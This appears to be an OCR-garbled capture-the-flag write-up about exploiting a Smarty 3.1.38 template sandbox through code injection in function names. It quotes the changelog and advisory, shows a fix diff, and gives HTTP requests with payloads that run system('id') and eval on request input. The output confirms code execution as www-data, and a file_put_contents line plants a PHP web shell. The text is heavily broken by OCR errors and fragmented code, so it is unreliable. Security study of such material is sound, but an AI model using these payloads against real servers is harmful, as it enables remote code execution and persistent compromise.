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php
error_reporting(0);
include_once(
$smarty
$my_security policy
$my_security policy
$my_security policy
$my_security_policy
$my_security_policy
$my_security_policy
$my_security_policy
$my_security_policy
$my_security_policy
$my_security_policy

$smarty

function waf($data){

$pattern
$vpattern

explode(

method

style placeholder

)5

new Smarty();

new Smarty_Security($smarty);
null;

Smarty: :PHP_REMOVE;
null;
null;

allow_super_globals

php_functions
php_handling
php_modifiers
static_classes
false;
allow_constants false;
allow_php_tag = false;
null;

php_modifiers

streams
null;

enableSecurity($my_security policy);

]

, $pattern);

foreach ($vpattern as $value) {

if (preg_match(

echo(
die();

}

return $data;

if(isset($_POST[

if(isset($_COOKIE[
waf($_POST][

$data
echo

$value

, $data)) {

INA

D) {
1)

$smarty->display(

}else{
echo
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RGN $smarty->display("string:" . $data);
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ZIRAH AN

[Unreleased]

[3.1.39] - 2021-02-17

Security

e Prevent access to $smarty.template_object in sandbox mode

e Fixed code injection vulnerability by using illegal function names in| {function name='blah’}{/function}

[3.1.38] - 2021-01-08
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When compiling template syntax, the Smarty_Internal Runtime_TplFunction class does not filter the name property correctly when defining tplFunctions . Let's tak

follouwincdanualaie:
™

{function name="test’ | {/function!

We can see that the compiler generates the following code:

A% sparty template function test S7EZS605185Ffcrcd)f46f78 0n745878 #/
if (1function_exists( smarty_template_function_test_S7B2550315ffc7c00946f78_05745875°)) 1
function smarty_template_function test 8782550315ffc7c00946£78_05745875(Snarty Internal Template §_smarty tpl, $params) {
foreach (§parans as $key => Jvalue) |
$_smarty_tpl->tpl vars[$key] = new Smarty ¥ariable($value, 3_smarty tpl—>isRenderingCache} ;

1
A7 eparty template function test SPEZSA0515ffcfe0lf46178 05749878 +/

The test string which is presumed controlled by the attacker is injected several times into the generated code. Notable examples are anything not within single quotes

Since this is injected multiple times, | found it difficult to come up with a payload that would target the comment injection on the first line, so | opted for the function de
Proof of Concept

Using PHP's built in webserver and the supplied page from Hardened Sandbox as the target, run the following poc:

http://lecalhost :8000/page. phpTpoc=string: [functiontnane="rce {1 ;systen(*id") ; functiont } {/function}

Request

Response
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K sysplugins\smarty_internal_compile_function.php B EARE, EIENS AR S AT T80, 5 IE N ICE R,
BBk trigger template error E¥l, £S5 AR E

| B R DNETRX TP @b oD @b Kk [P - @

fEzf4sE g/ plugins\x 2 @7 sysplugins\ x 2 ‘ & smarty_internal_compile_function.php x 2 ‘
x e

*src\Smarty\sysplugins\smarty_internal_compile_function.php \smarty-3.1.39\libs\sysplugins\smarty_internal_compile_function.php

* @param array sargs array with : * @param array sargs array with @a
* @param \Smarty Internal TemplateCompilerBase $compiler compiler cb: * @param \Smarty Internal TemplateCompilerBase $compiler compiler cb:
* *

* @return bool true * @return bool true

* @throws \SmartyCompilerException * @throws \SmartyCompilerException

*/ */

public function compile (Sargs, Smarty Internal TemplateCompilerBase 5S¢ public function compile (Sargs,
| { {
// check and get attributes
5_attr = Sthis->getAttributes(Scompiler,
if (5_attr[ 'nocache' ] true) {

Smarty Internal TemplateCompilerBase 3¢

// check and get attributes
5_attr = Sthis->getAttributes(Scompiler,
if (5_attr[ 'nocache' ] true) {

Sargs) ; Sargs) ;

Scompiler->trigger template error('nocache option not allowed

l‘.mset (5_attr[ 'nocache' 1):

S_name = trim(5_attr[ 'mame' ], '\'"');

if (preg match('/[a-zA-Z0-9 \x80-\xff] (.*)+5/"', $_name)) {
Scompiler->trigger template error("Function name contains inv:

Scompiler->parent_compiler->tpl function[ 5_name ] =
Ssave = array|(
5_attr, scompiler->parser->current buffer,
Scompiler->template->caching

array () ;
Scompiler->template

)i

Sthis—SonanTan{Scomnilar "functinn! S=awvel -

Scompiler->trigger template error('nocache option not allowed

l‘.mset (5_attr[ 'nocache' 1):

S_name = trim(5_attr[ 'mame' ], '\'"');

if (!preg match('/"[a-zA-Z0-9 \x80-\xff]+5/"', 5 _name)) {
Scompiler->trigger template error("Function name contains inv:

Scompiler->parent_compiler->tpl function[ 5_name ] = array();
Ssave = array|(
5_attr, sScompiler->parser->current buffer, Scompiler->template

scompiler->template->caching
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12 Accept-Language: zh—UN, zh;q=U.Y, en;g=u. 8, en—4b;q=u. /, en-Us;q=u. o 22
13 Cookie: UM_distinctid= 23 b
171f8d34a7f932¢-0e50148d0f032b-56171d51-144000-17f8d34a7fae31; login=1 24
14 Connection: close 25 </ formd
’ = o - . 26 </div>
6 data=[function+name="rce () {} ;system("id") ;function%0A%0A"} {/function} 27 </body>
28 </html>
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{input type="text" style="width:150px;height:30px" name

<input type="submit" value="Submit">
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uid=33 (www—data) gid=33(www—data) groups=33 (www—data)
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%5 % phpinfo

POST|/index. php?1=phpinfo(); HTTP/1} 1
Host| 4e5d5d8f-aeB8f-484b-b038-b6al1cB1173cf. noded. buuoj. cn:81
Contént-Length: 85
Cache=ComtroTmaxr=age=—o—
Upgrade-Insecure—Requests: 1
Origin: http://4e5d5d8f-ae8f-484b—b038-bbalcB1173cf. node4. buuoj. cn:81
Content—Type: application/x—www—form-urlencoded

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.52
Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, image/ap
ng, */%;9=0. 8, appl ication/signed—exchange;v=b3;¢=0. 9

Referer: http://4e5d5d8f-ae8f-484b-b038-bbaTcB cf. nodex. punoTTTS
Accept—Encoding: gzip, deflate

Accept-Language: zh-CN, zh;g=0.9, en;g=0. 8, en—GB;g=0. 7, en-US;g=0. 6

Cookie: UM _distinctid=
17f8d34a7f932c-0e50148d0f032b-56171d51-144000-17f8d34a7fae31; login=1
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4 Connection: close | System
3 || Build Date Feb 26 2020 12:38:53
6 data= . ! ) Configure Command * Joanfigure' - build=x88_B4-linux-gnu' "~ with-
{functiontname="rce () {§l ;system("id") ;@eval (§_GET[1]) ; function%0A%0A"} {/fu dir=lusriiecalisteiphpiconf.d '—enable-option-
. ] _with-pas cword-argon? "-with-sodium=share:
nction} i openssl “wwith-zlic® ‘-withelibdir=libixB6_od-li
|l
| Server AP| Apache 2.0 Handler
A Virtual Directory Support disabled
Configuration Fils (php ini| Path Jusellacaliete/php
W Loaded Configuration File e USDN @Sty
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trigger_error(

count(

trigger_error(

rpos (

trigger_error(

(strpos(

trigger_error(

b

(strlen( )i ===

trigger_error(

(!is_numeric(
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preg_match_all(
I
(

trigger_error(

[
[£4e

= preg_replace(
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string

continue
if i

string

continue
if i

string

continue
if i

string

continue

string

print(string)
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file_put contents 5 3CF ("file_put_contents")("1.php","<?php eval($_POST[1]);?>")
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